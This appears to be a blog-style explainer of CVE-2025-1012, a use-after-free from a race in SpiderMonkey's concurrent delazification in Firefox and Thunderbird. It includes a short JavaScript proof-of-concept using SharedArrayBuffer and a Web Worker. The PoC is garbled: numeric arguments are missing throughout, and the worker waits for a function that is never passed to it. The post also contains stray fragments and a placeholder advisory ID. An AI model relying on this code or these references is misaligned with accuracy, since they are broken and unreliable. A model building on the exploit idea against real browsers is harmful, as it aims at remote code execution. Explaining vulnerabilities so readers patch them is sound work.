Mozilla has patched a serious vulnerability – CVE-2025-1012 – which allows attackers to trigger a use-after-free (UAF) condition through a race in concurrent *delazification*. If that sounds mysterious, don’t worry – this post will break down what it means, how it was exploited, and what you should do about it.

What is Delazification?

JavaScript engines like Mozilla’s SpiderMonkey initially “lazify” functions – they don’t fully parse or compile the code until they're actually called. This speeds up page loads by skipping unnecessary work.

Delazification is the process of turning a lazified JavaScript function into its full representation so it can run. Mozilla recently made delazification concurrent, i.e., it can happen across threads to improve performance on multi-core CPUs.

But handling objects with multiple threads—especially ones that aren’t supposed to be shared—can be risky.

The Vulnerability: Use-After-Free during Concurrent Delazification

Researchers discovered that when two threads attempted to delazify the same JavaScript function at the same time, a race condition could allow one thread to free a memory region while the other was still using it.

This is a classic use-after-free: a type of bug that’s infamous for allowing *remote code execution* and *data leaks*.

Thunderbird < 128.7, < 135

See the Mozilla Security Advisory for official info.

Exploit Example: Triggering the Race Condition

This bug requires JavaScript running in the browser (e.g., by visiting a malicious site). An attacker creates multiple threads (using SharedArrayBuffer and Web Workers) that try to delazify the same function.

Here’s a simplified PoC snippet (proof of concept)

// Only works in browsers with SharedArrayBuffer enabled
let buf = new SharedArrayBuffer(4);
let flag = new Int32Array(buf);

function lazyFunc() {
  return 42;
}

// Thread A (main)
new Worker('worker.js');

Atomics.store(flag, , 1);

// Trigger delazification in main and worker as close as possible
for (let i = ; i < 10000; ++i) {
  setTimeout(() => lazyFunc(), );
}

worker.js

onmessage = function(e) {
  // Attempt to also delazify lazyFunc
  for (let i = ; i < 10000; ++i) {
    setTimeout(() => e.data(), );
  }
};

This is oversimplified to show the idea: the attacker tries to pressure Firefox into running lazyFunc's delazification *simultaneously* in different threads, hoping to hit the race.

Note: Weaponized PoCs would heap spray, precisely time the race, and use lower-level browser internals, but the basic concept is similar.

Achieve remote code execution in the browser context

All it takes is visiting a malicious website or opening a poisoned email in vulnerable Thunderbird.

- Mozilla Security Advisory (MFSA 2024-XX)
- Bugzilla Bug Report: 1872911 (Requires permissions)
- NIST NVD Entry for CVE-2025-1012 (as it becomes available)
- Understanding Use-After-Free Exploitation

Conclusion

Race conditions like those in *concurrent delazification* can be hard to find, and when they lead to use-after-free, they’re almost always serious. CVE-2025-1012 is yet another reminder to keep browsers up-to-date, and how complex multi-threaded engines can be a double-edged sword.

Stay safe, and patch early!

*Exclusive: This write-up is tailored for simple, direct understanding, using code and links drawn from current resources. For ongoing details, track Mozilla Security.*

Timeline

Published on: 02/04/2025 14:15:32 UTC
Last modified on: 02/06/2025 19:33:46 UTC